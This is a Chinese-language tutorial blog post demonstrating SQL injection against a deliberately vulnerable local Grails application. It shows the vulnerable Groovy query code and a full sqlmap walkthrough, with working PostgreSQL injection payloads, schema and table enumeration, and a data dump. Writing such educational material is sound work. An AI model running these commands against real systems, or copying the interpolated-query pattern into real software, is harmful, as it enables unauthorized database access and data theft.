Sick Grails - SQL Injection

2024-08-18 Sick Grails sqlmap 資安

聲明: 進行滲透測試必須在合法的範圍內進行,並且要有網站擁有者的明確許可。如果你有這些權限,並且目的是進行安全測試。

漏洞名稱

SQL Injection

目標

透過實際程式範例讓程式開發人員理解 程式 與 SQL Injection 之間的關係

環境

網站環境

入侵環境

  • OS: Debian 12
  • tools: sqlmap 1.7.2

問題程式片段

  • sick-grails/grails-app/services/ex/Ex100Service.groovy

在程式中有透過字串組SQL方式進行查詢

LinkedHashMap filter2(GrailsParameterMap params){

    LinkedHashMap result = [:]

    List<Ex100> ex100L = Ex100.createCriteria().list() {

        if(params?.strings){
            sqlRestriction(" this_.strings = '${params?.strings}' ")
        }

    }

    result.rows = ex100L.collect { it ->
        [

                id          : it?.id,
                strings     : it?.strings,
                integers    : it?.integers,
                atms        : it?.atms,
                status      : it?.status,
        ]
    }

    return result

}

方式

  1. 爬網站每個頁面並紀錄每個頁面可以傳遞的參數
  2. 找出可以執行 SQL Injection 漏洞的參數,此範例的參數名稱是 strings
  3. 逐一取得有價值的資訊

詳細處理過程

1. 取得網站資料庫

指令
sqlmap -u "http://localhost:8090/start/filter2?strings=ZAP" --batch
結果

可以得知此網站使用的資料庫是 PostgreSQL

❯ sqlmap -u "http://localhost:8090/start/filter2?strings=ZAP" --batch
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.7.2#stable}
|_ -| . [']     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 00:19:04 /2024-08-18/

[00:19:04] [INFO] resuming back-end DBMS 'postgresql' 
[00:19:04] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: strings (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: strings=ZAP' AND 1463=1463 AND 'jWFI'='jWFI

    Type: error-based
    Title: PostgreSQL AND error-based - WHERE or HAVING clause
    Payload: strings=ZAP' AND 1706=CAST((CHR(113)||CHR(98)||CHR(120)||CHR(118)||CHR(113))||(SELECT (CASE WHEN (1706=1706) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(98)||CHR(118)||CHR(113)) AS NUMERIC) AND 'mGGj'='mGGj

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: strings=ZAP';SELECT PG_SLEEP(5)--

    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: strings=ZAP' AND 3963=(SELECT 3963 FROM PG_SLEEP(5)) AND 'nMkI'='nMkI
---
[00:19:04] [INFO] the back-end DBMS is PostgreSQL
back-end DBMS: PostgreSQL
[00:19:04] [INFO] fetched data logged to text files under '/home/pollochang/.local/share/sqlmap/output/localhost'
[00:19:04] [WARNING] your sqlmap version is outdated

[*] ending @ 00:19:04 /2024-08-18/

2. 取得 schema

指令
sqlmap -u "http://localhost:8090/start/filter2?strings=ZAP" --dbms=postgresql --batch --dbs
結果

可以取得schema有 public, information_schema, pg_catalog

❯ sqlmap -u "http://localhost:8090/start/filter2?strings=ZAP" --dbms=postgresql --batch --dbs
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.7.2#stable}
|_ -| . [(]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 00:25:18 /2024-08-18/

[00:25:18] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: strings (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: strings=ZAP' AND 1463=1463 AND 'jWFI'='jWFI

    Type: error-based
    Title: PostgreSQL AND error-based - WHERE or HAVING clause
    Payload: strings=ZAP' AND 1706=CAST((CHR(113)||CHR(98)||CHR(120)||CHR(118)||CHR(113))||(SELECT (CASE WHEN (1706=1706) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(98)||CHR(118)||CHR(113)) AS NUMERIC) AND 'mGGj'='mGGj

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: strings=ZAP';SELECT PG_SLEEP(5)--

    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: strings=ZAP' AND 3963=(SELECT 3963 FROM PG_SLEEP(5)) AND 'nMkI'='nMkI
---
[00:25:18] [INFO] testing PostgreSQL
[00:25:18] [INFO] confirming PostgreSQL
[00:25:18] [INFO] the back-end DBMS is PostgreSQL
back-end DBMS: PostgreSQL
[00:25:18] [WARNING] schema names are going to be used on PostgreSQL for enumeration as the counterpart to database names on other DBMSes
[00:25:18] [INFO] fetching database (schema) names
available databases [3]:
[*] information_schema
[*] pg_catalog
[*] public

[00:25:19] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 2 times
[00:25:19] [INFO] fetched data logged to text files under '/home/pollochang/.local/share/sqlmap/output/localhost'
[00:25:19] [WARNING] your sqlmap version is outdated

[*] ending @ 00:25:19 /2024-08-18/

3. 列出 table

指令
sqlmap -u "http://localhost:8090/start/filter2?strings=ZAP" --dbms=postgresql --batch -D public --tables
結果

可以得知有以下資料表: ex100

❯ sqlmap -u "http://localhost:8090/start/filter2?strings=ZAP" --dbms=postgresql --batch -D public --tables
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.7.2#stable}
|_ -| . ["]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 00:26:15 /2024-08-18/

[00:26:15] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: strings (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: strings=ZAP' AND 1463=1463 AND 'jWFI'='jWFI

    Type: error-based
    Title: PostgreSQL AND error-based - WHERE or HAVING clause
    Payload: strings=ZAP' AND 1706=CAST((CHR(113)||CHR(98)||CHR(120)||CHR(118)||CHR(113))||(SELECT (CASE WHEN (1706=1706) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(98)||CHR(118)||CHR(113)) AS NUMERIC) AND 'mGGj'='mGGj

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: strings=ZAP';SELECT PG_SLEEP(5)--

    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: strings=ZAP' AND 3963=(SELECT 3963 FROM PG_SLEEP(5)) AND 'nMkI'='nMkI
---
[00:26:15] [INFO] testing PostgreSQL
[00:26:15] [INFO] confirming PostgreSQL
[00:26:15] [INFO] the back-end DBMS is PostgreSQL
back-end DBMS: PostgreSQL
[00:26:15] [INFO] fetching tables for database: 'public'
[00:26:15] [INFO] resumed: 'ex100'
Database: public
[1 table]
+-------+
| ex100 |
+-------+

[00:26:15] [INFO] fetched data logged to text files under '/home/pollochang/.local/share/sqlmap/output/localhost'
[00:26:15] [WARNING] your sqlmap version is outdated

[*] ending @ 00:26:15 /2024-08-18/

4. 取得 table 欄位

指令
sqlmap -u "http://localhost:8090/start/filter2?strings=ZAP" --dbms=postgresql --batch -D public -T ex100 --columns
結果
❯ sqlmap -u "http://localhost:8090/start/filter2?strings=ZAP" --dbms=postgresql --batch -D public -T ex100 --columns
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.7.2#stable}
|_ -| . [']     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 00:27:26 /2024-08-18/

[00:27:26] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: strings (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: strings=ZAP' AND 1463=1463 AND 'jWFI'='jWFI

    Type: error-based
    Title: PostgreSQL AND error-based - WHERE or HAVING clause
    Payload: strings=ZAP' AND 1706=CAST((CHR(113)||CHR(98)||CHR(120)||CHR(118)||CHR(113))||(SELECT (CASE WHEN (1706=1706) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(98)||CHR(118)||CHR(113)) AS NUMERIC) AND 'mGGj'='mGGj

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: strings=ZAP';SELECT PG_SLEEP(5)--

    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: strings=ZAP' AND 3963=(SELECT 3963 FROM PG_SLEEP(5)) AND 'nMkI'='nMkI
---
/*中間省略*/
Database: public
Table: ex100
[12 columns]
+------------------+-----------+
| Column           | Type      |
+------------------+-----------+
| version          | int4      |
| article          | text      |
| atms             | int4      |
| date_created     | timestamp |
| integers         | int4      |
| last_updated     | timestamp |
| man_created      | varchar   |
| man_last_updated | varchar   |
| note             | varchar   |
| objid            | numeric   |
| status           | int4      |
| strings          | varchar   |
+------------------+-----------+

5. 取得實際資料內容

指令
sqlmap -u "http://localhost:8090/start/filter2?strings=ZAP" --dbms=postgresql --batch -D public -T ex100 -C strings,status --dump
結果
❯ sqlmap -u "http://localhost:8090/start/filter2?strings=ZAP" --dbms=postgresql --batch -D public -T ex100 -C strings,status --dump
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.7.2#stable}
|_ -| . [']     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 00:28:34 /2024-08-18/

[00:28:34] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: strings (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: strings=ZAP' AND 1463=1463 AND 'jWFI'='jWFI

    Type: error-based
    Title: PostgreSQL AND error-based - WHERE or HAVING clause
    Payload: strings=ZAP' AND 1706=CAST((CHR(113)||CHR(98)||CHR(120)||CHR(118)||CHR(113))||(SELECT (CASE WHEN (1706=1706) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(98)||CHR(118)||CHR(113)) AS NUMERIC) AND 'mGGj'='mGGj

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: strings=ZAP';SELECT PG_SLEEP(5)--

    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: strings=ZAP' AND 3963=(SELECT 3963 FROM PG_SLEEP(5)) AND 'nMkI'='nMkI
---
[00:28:34] [INFO] testing PostgreSQL
[00:28:34] [INFO] confirming PostgreSQL
[00:28:34] [INFO] the back-end DBMS is PostgreSQL
back-end DBMS: PostgreSQL
[00:28:34] [INFO] fetching entries of column(s) 'status,strings' for table 'ex100' in database 'public'
Database: public
Table: ex100
[305 entries]
+----------------------------------------------------+--------+
| strings                                            | status |
+----------------------------------------------------+--------+
| NULL                                               | 0      |
| ZAP UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- -  | 0      |
| ZAP) UNION ALL SELECT NULL,NULL#                   | 0      |
| ZAP UNION ALL SELECT NULL,NULL,NULL#               | 0      |
| ZAP' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#    | 0      |
| ZAP%' ORDER BY 1#                                  | 0      |
| ZAP%' UNION ALL SELECT NULL#                       | 0      |
| ZAP%' UNION ALL SELECT NULL,NULL#                  | 0      |
| ZAP%' UNION ALL SELECT NULL,NULL,NULL#             | 0      |
| ZAP%' UNION ALL SELECT NULL,NULL,NULL,NULL#        | 0      |
| ZAP%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#   | 0      |
| ZAP ORDER BY 1#                                    | 0      |
| ZAP UNION ALL SELECT NULL#                         | 0      |
| ZAP UNION ALL SELECT NULL,NULL#                    | 0      |
| ZAP UNION ALL SELECT NULL,NULL,NULL#               | 0      |
| ZAP UNION ALL SELECT NULL,NULL,NULL,NULL#          | 0      |
| ZAP UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#     | 0      |
| ZAP                                                | 0      |
| #javascript:alert(5397)                            | 0      |
+----------------------------------------------------+--------+

參考資料